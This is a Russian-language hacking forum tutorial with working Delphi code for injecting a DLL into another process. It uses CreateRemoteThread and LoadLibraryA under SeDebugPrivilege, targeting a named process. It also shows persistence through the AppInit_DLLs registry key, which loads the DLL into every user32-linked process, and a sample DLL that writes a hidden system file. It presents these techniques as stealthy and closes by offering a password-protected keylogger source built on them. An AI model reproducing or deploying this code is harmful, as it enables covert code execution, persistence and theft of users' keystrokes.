Простой метод внедрения DLL, делаем свой Simple Dll Injection
Life-Hack [Жизнь-Взлом]/ХакингВот пример простенького внедрения своей дллки в доверенный процесс!
Обычно для внедрения динамических библиотек в адресное пространство процесса применяют три способа:
1)Внедрение в третьем кольце:
Кольца защиты — архитектура информационной безопасности и функциональной отказо-устойчивости, реализующая аппаратное разделение системного и пользовательского уровней привилегий. Структуру привилегий можно изобразить в виде нескольких концентрических кру-гов. В этом случае системный режим (режим супервизора или нулевое кольцо, т.н. "кольцо 0"), обеспечивающий максимальный доступ к ресурсам, является внутренним кругом, тогда как ре-жим пользователя с ограниченным доступом — внешним.
2)Внедрение с помощью реестра
3)С помощью удалённых потоков и глобальных ловушек (hooks).
Рассмотрим внедрение DLL с помощью удаленных потоков, являющимся гибким и сравнительно простым способом.
Суть данного способа заключается в создании потока загружающего необходимую библиотеку в адресное пространство выбранного процесса. При этом на момент внедрения DLL, целевой процесс должен функционировать в системе и должен быть открыт с правами на создание удаленных потоков и записи в собственное адресное пространство.
Сразу приступим к разбору кода.
Код будет на Делфи:
Функция осуществляющая внедрение библиотеки:
CODE:
procedure InjectDll(TargetId: Cardinal; DllName: PAnsichar);
var
BytesWrite :cardinal;
ParamAddr : pointer;
pThreadStart : pointer;
Hdl : cardinal;
hThread : cardinal;
hRemoteThread : Cardinal;
begin
// Устанавливаем отладочные привилегии для выбранного процесса, т.к. без данных
// привилегий код внедрения работать не будет
ChangePrivilege('SeDebugPrivilege', True);
// Открываем существующий объект процесса
Hdl := OpenProcess(PROCESS_ALL_ACCESS, false, TargetId);
// Выделяем память под структуру, которая передается нашей функции, под параметры, которые передаются функции
ParamAddr := VirtualAllocEx(Hdl, nil, Length(DllName), MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// Пишем саму структуру
WriteProcessMemory(Hdl, ParamAddr, PAnsichar(DllName), Length(DllName), BytesWrite);
pThreadStart := GetProcAddress(GetModuleHandle('KERNEL32.DLL'), PAnsiChar('LoadLibraryA'));
// Запускаем удаленный поток
hThread := CreateRemoteThread(Hdl, nil, 0, pThreadStart, ParamAddr, 0,hRemoteThread);
// Ждем пока удаленный поток отработает...
WaitForSingleObject(hThread, INFINITE);
Closehandle(hThread);
end;
Функция получения идентификатора процесса по указанному имени исполняемого файла:
CODE:
function GetProcessID(ProcessName : string ) : DWORD ; var Handle :tHandle; Process :tProcessEntry32; GotProcess :Boolean; begin Handle:=CreateToolHelp32SnapShot(TH32CS_SNAPALL,0) ; Process.dwSize:=SizeOf(Process); GotProcess := Process32First(Handle,Process); if GotProcess and (Process.szExeFile<>ProcessName) then repeat GotProcess := Process32Next(Handle,Process); until (not GotProcess) or (Process.szExeFile=ProcessName); if GotProcess then Result := Process.th32ProcessID else Result := 0; CloseHandle(Handle); end;
Функция установки отладочных привилегий:
CODE:
procedure ChangePrivilege(szPrivilege: PChar; fEnable: Boolean); var NewState: TTokenPrivileges; luid: TLargeInteger; hToken: THandle; ReturnLength: DWord; begin OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken); LookupPrivilegeValue(nil, szPrivilege, luid); NewState.PrivilegeCount := 1; NewState.Privileges[0].Luid := luid; if (fEnable) then NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED else NewState.Privileges[0].Attributes := 0; AdjustTokenPrivileges(hToken, False, NewState, SizeOf(NewState), nil, Re-turnLength); CloseHandle(hToken); end;
Процедура непосредственного внедрения библиотеки:
CODE:
procedure Inject;
var
pID: cardinal;
Begin
// определяем ProcessId по указанному имени исполняемого файла
pID := GetProcessID('Game.exe');
// вызываем функцию внедрения библиотеки dllToInject.dll в процесс с pID
InjectDll(pID,'dllToInject.dll');
end;
Эта процедура основная, остальные вспомагательные....
Внедряем свой длл, с помощью реестра:
CODE:
program LoadDLLviaRegistry; uses Windows; const my_dll = 'showme.dll'; var reg: HKEY; status: integer; sval: PChar; curr_val: array[0..255] of char; curr_len, curr_type: dword; begin status:= RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows NT\CurrentVersion\Windows', 0, KEY_ALL_ACCESS, reg); if (status = ERROR_SUCCESS) then begin sval:=my_dll; curr_len:=255; RegQueryValueEx(reg, 'AppInit_DLLs', nil, @curr_type, @curr_val, @curr_len); curr_val[curr_len]:=#0; if (curr_val[0]<>#0)and(curr_val<>my_dll) then sval:=PChar(sval+' '+curr_val); RegSetValueEx(reg, 'AppInit_DLLs', 0, REG_SZ, sval, Length(sval)); end; end.
После запуска этой программы все приложения, использующие user32.dll, получат заодно и нашу dll в своё адресное пространство. После перезагрузки код помещённый в ShowMe.dll сможет выполняться даже от системной учётной записи. Однако этот способ самый простой не только в реализации, но и в обнаружении, поэтому воспользоваться им в реальных задачах проблематично.
Внедрения DLL в адресное пространство процесса в режиме пользователя (в 3-ем кольце):
CODE:
library ShowMe;
uses Windows;
function IntToStr(val: dword): string;
begin
Str(val, result);
end;
procedure WriteLabelInFile();
var fH, bwr: dword;
text: pchar;
begin
text:= PChar('Our DLL is now loaded in process:'#13+
'PID = '+IntToStr(GetCurrentProcessId)+#13+ParamStr(0)+
#13'------------------------------------------------'#13);
fH:=CreateFile('C:\Temp\Inject.dll', GENERIC_READ or
GENERIC_WRITE, 0, nil, OPEN_ALWAYS,
FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN, 0);
SetFilePointer(fH, 0, nil, FILE_END);
WriteFile(fH, pointer(text)^, Length(text), bwr, nil);
CloseHandle(fH);
end;
begin
try
WriteLabelInFile();
except end;
end.
Исходник кейлоггера на делфи, который использует эти механизмы
Пароль 111